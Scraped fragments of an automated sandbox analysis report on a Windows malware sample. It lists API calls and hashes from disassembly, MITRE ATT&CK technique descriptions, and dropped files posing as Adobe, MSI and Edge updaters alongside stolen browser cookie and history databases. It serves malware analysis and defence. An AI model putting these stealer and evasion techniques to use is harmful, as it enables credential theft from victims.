CreateThread.KERNEL32(00000000,068F5AB0,0691A5A3,00000000,00000004,00000000), ref: 0691A750
GetLastError.KERNEL32(?,?,?,?,?,068FB23E,068F5AB0), ref: 0691A75C
__dosmaperr.LIBCMT ref: 0691A763

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 41cf30aa4908eaf379f9e640210d28c3ea7f800212c6387aa8b4ea88dec78902
Instruction ID: 2c82559a3ab5e931328c9868e3dbad3b502d5b12c273da38c4b881041645a495
Opcode Fuzzy Hash: 41cf30aa4908eaf379f9e640210d28c3ea7f800212c6387aa8b4ea88dec78902
Instruction Fuzzy Hash: AB01C832D0211CBFDB909BA4DC08BAE7AB9DF813B5F304215F5259A5D0D7B08E00D660

Uniqueness

Uniqueness Score: -1.00%

Function 00566180 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 353COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00566587

Strings

", ", xrefs: 005663D8
: ", xrefs: 005663AE

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: ", "$: "
API String ID: 4194217158-747220369
Opcode ID: 80f8cbb0af83b5b5cfb3a3b6a11ec6280b8d03cb5e25caa3403d70303613bd2a
Instruction ID: 574cd8c3b091b768bd7bcdeb9205d30b101380ba582c5d05bd19b8c495800ac5
Opcode Fuzzy Hash: 80f8cbb0af83b5b5cfb3a3b6a11ec6280b8d03cb5e25caa3403d70303613bd2a
Instruction Fuzzy Hash: 8BD19370E002059FCB24DFA8D945AAEBFF5FF84310F14462DE45697381EB70AA45DB91

Uniqueness

Uniqueness Score: -1.00%

Function 068D2760 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 068D2789
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 068D2855

Part of subcall function 0691490D: _Yarn.LIBCPMT ref: 0691492C
Part of subcall function 0691490D: _Yarn.LIBCPMT ref: 06914950

Strings

bad locale name, xrefs: 068D285F

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 0ea1d50f242a93d0bc982642bfd163dfdcb6784d7123ae172efd177d40325b87
Instruction ID: a703e3cc1d1e2dab3377120097ceae3a8aec8ba1afda3dec6cbb55791ead7d4a
Opcode Fuzzy Hash: 0ea1d50f242a93d0bc982642bfd163dfdcb6784d7123ae172efd177d40325b87
Instruction Fuzzy Hash: 544113B4D04289DFDB05CF98C950BAEFBF1BF49304F248299D415AB381C7799A41CBA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: IHobmyUUXF8jFZ9HHCK7.exePID: 3040, Parent PID: 5316COMMON

Execution Graph

Execution Coverage:	34%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	19
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0040281D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00402814), ref: 0040281D
GetModuleHandleA.KERNEL32(?,00000078,00000004), ref: 0040286F
GetProcAddress.KERNEL32(00000000,00000000), ref: 00402897

Part of subcall function 0040283A: GetProcAddress.KERNEL32(00000000,0040282B), ref: 0040283B
Part of subcall function 0040283A: VirtualProtect.KERNELBASE(?,00000078,00000004), ref: 0040284D
Part of subcall function 0040283A: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000078,00000004), ref: 00402861

Strings

VT, xrefs: 0040286E

Memory Dump Source

Source File: 00000008.00000002.1568547608.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1568520239.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1568573741.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1568600230.0000000000404000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1568638116.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1568810818.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1569167737.0000000000A42000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1569167737.0000000000B5D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1569325691.0000000000B78000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1569357981.0000000000B79000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_IHobmyUUXF8jFZ9HHCK7.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: VT
API String ID: 2099061454-201482285
Opcode ID: 67b18f5d566e174719e6f505a4aa4f5f8e431714fa33c3de3599349bc2f53b7f
Instruction ID: f0c839e057809c1efc340711d894999912a39097a74a7b2f28aa4e3cf016983c
Opcode Fuzzy Hash: 67b18f5d566e174719e6f505a4aa4f5f8e431714fa33c3de3599349bc2f53b7f
Instruction Fuzzy Hash: A6012B0B55525139EA2476750E0E9BB5B889E23364B18CB7BF000F62D3D9FC8906837D

Uniqueness

Uniqueness Score: -1.00%

Function 0040283A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,0040282B), ref: 0040283B
VirtualProtect.KERNELBASE(?,00000078,00000004), ref: 0040284D
VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000078,00000004), ref: 00402861
GetModuleHandleA.KERNEL32(?,00000078,00000004), ref: 0040286F
GetProcAddress.KERNEL32(00000000,00000000), ref: 00402897

Strings

VT, xrefs: 0040286E

Memory Dump Source

Source File: 00000008.00000002.1568547608.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1568520239.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1568573741.0000000000403000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1568600230.0000000000404000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1568638116.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1568810818.00000000005B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1569167737.0000000000A42000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1569167737.0000000000B5D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1569325691.0000000000B78000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1569357981.0000000000B79000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_IHobmyUUXF8jFZ9HHCK7.jbxd

Yara matches

Similarity

API ID: AddressProcProtectVirtual$HandleModule
String ID: VT
API String ID: 2152742572-201482285
Opcode ID: b89d393753f96de86a2c896a51a5260cbabf9c56692d2ba4910448734dec975b
Instruction ID: d34c94931a7f052c938c3d91e02af59f00928117d923f9180033120dde70a02b
Opcode Fuzzy Hash: b89d393753f96de86a2c896a51a5260cbabf9c56692d2ba4910448734dec975b
Instruction Fuzzy Hash: 37F0A44B54565139FA2176750D4DABB4B8C8A23760B248B77F010F72C3D5FD890A93BA

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe

C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe

C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe

C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\l2[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\k[1].exe

C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe

C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe

C:\Users\user\AppData\Local\Temp\mMNhxEaskfVfjkc4NDz8xtN.zip

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\02zdBXl47cvzcookies.sqlite

C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\3b6N2Xdh3CYwplaces.sqlite

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre